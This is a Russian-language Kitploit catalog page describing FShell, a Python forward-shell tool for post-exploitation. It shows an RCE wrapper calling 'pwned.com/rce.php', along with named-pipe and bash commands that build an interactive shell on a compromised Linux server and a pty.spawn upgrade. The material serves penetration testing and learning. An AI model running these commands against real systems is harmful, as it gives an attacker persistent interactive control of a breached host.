Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
FShell — Моя реализация Forward Shell на python3 | Kitploit
Инструменты/GitHubGitHub/hypnoze57/fshell
ЭксплуатацияПост-эксплуатацияТестирование на ПроникновениеRed TeamingИнструмент Удаленного Доступа
GitHubhypnoze57/fshell

FShell

Моя реализация Forward Shell на python3

Репозиторий
385177 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

FShell

Описание

FShell — это моя реализация Forward Shell. Она предназначена для получения интерактивного tty с помощью удалённого выполнения кода через протокол без стадий (например, HTTP).

Зачем мне использовать forward shell?

  • Удалённый сервер не имеет доступа в интернет, нет возможности использовать reverse shell
  • Мне не нужно, чтобы сервер инициировал новые исходящие соединения или открывал новые службы (используется только уязвимый открытый сервис)

Однако у этого есть и недостатки:

  • Много запросов в секунду (в случае веб-сервера будет создано много записей в access log)
  • Не полностью интерактивность: нет автодополнения (теоретически это можно реализовать, но это породит огромное количество запросов), помните, что ваш ввод передаётся в python-скрипт, а затем на удалённый сервер.

Частоту запросов можно изменить, отредактировав переменную BEACONING_DELAY.

Требования

На машине атакующего

Python3 и библиотеки:

  • requests
  • termcolor

На целевой системе

На данный момент поддерживается только Linux, на удалённой системе требуются базовые команды/инструменты:

  • python2 (и модуль pty)
  • bash
  • mkfifo
  • cat
  • tail
  • ps
  • grep
  • awk
  • kill

Использование

Измените переменную WRITABLE_FOLDER, если /tmp недоступен для записи или если у вас есть вариант лучше (предпочтительно /dev/shm)

Вы должны переопределить функцию execute для выполнения вашего удалённого кода:

def execute(cmd, verbose=False, timeout=None):
    """
    :cmd      Raw shell command to execute on the remote system
    :timetout MANDATORY: Used to kill blocking execution loop (used in named pipe creation).
              If you cannot, put named pipe creation in separated thread
    :verbose  Print full cmd executed on the remote system (Debug mode)
    """
    # Put your RCE code here
    r = requests.get('http://pwned.com/rce.php?cmd=%s' % (b64encode(cmd)), timeout=timeout)
    return r.text.strip() # You can apply formating if the output is not only the output of command

Команды

  • help_shell: Вывести справку по командам
  • get_sessid: Показать текущий идентификатор сессии на удалённом сервере
  • upgrade_shell: Запустить удалённый pty с помощью python для создания интерактивной оболочки
  • exit_shell: Корректно завершить удалённую оболочку. Если вы подключены под другим пользователем, а не первым, пожалуйста, завершите работу обычным способом.

Демонстрация

Демонстрация FShell

Как это работает

Концепция довольно проста.

Сначала нужно создать именованный канал (named pipe) на удалённой системе. Он будет использоваться для отправки команд оболочке
mkfifo /tmp/input.

Затем создайте цикл bash, который постоянно читает именованный канал и передаёт его в интерактивный процесс bash, отправляющий stdin и stderr в файл вывода.
tail -f /tmp/input | /bin/bash -i > /tmp/output 2>&1

[Чтение именованного канала] -> [Выполнение содержимого именованного канала] -> [Отправка stdin/stderr в файл вывода] -> [Возврат к чтению именованного канала из-за опции '-f' у tail]

Следующая часть — запустить поток python, который регулярно выполняет cat /tmp/output для получения вывода оболочки.
Если поток находит данные, он очищает содержимое файла вывода с помощью echo '' > /tmp/output
Совет: чтобы избежать записи ошибок для несуществующего файла, скрипт выполняет команду 'id' перед запуском потока 'GetOutput' для создания файла вывода.

Один из последних шагов — получить пользовательский ввод в нашем python-скрипте и отправить его в именованный канал
echo USERCMD > /tmp/input

И главный трюк, чтобы получить удалённый интерактивный tty, — это команда 'upgrade_shell'. Эта команда выполняет python -c 'import pty;pty.spawn("/bin/bash")' (а также некоторые export и алиасы), чтобы породить настоящий tty для текущего процесса (используется в цикле именованного канала)

Благодарности

Спасибо @ippsec, я не знал, что такое возможно, пока не посмотрел это видео Stratosphere HTB Write Up !

Надеюсь, вам понравится!

Скачать инструмент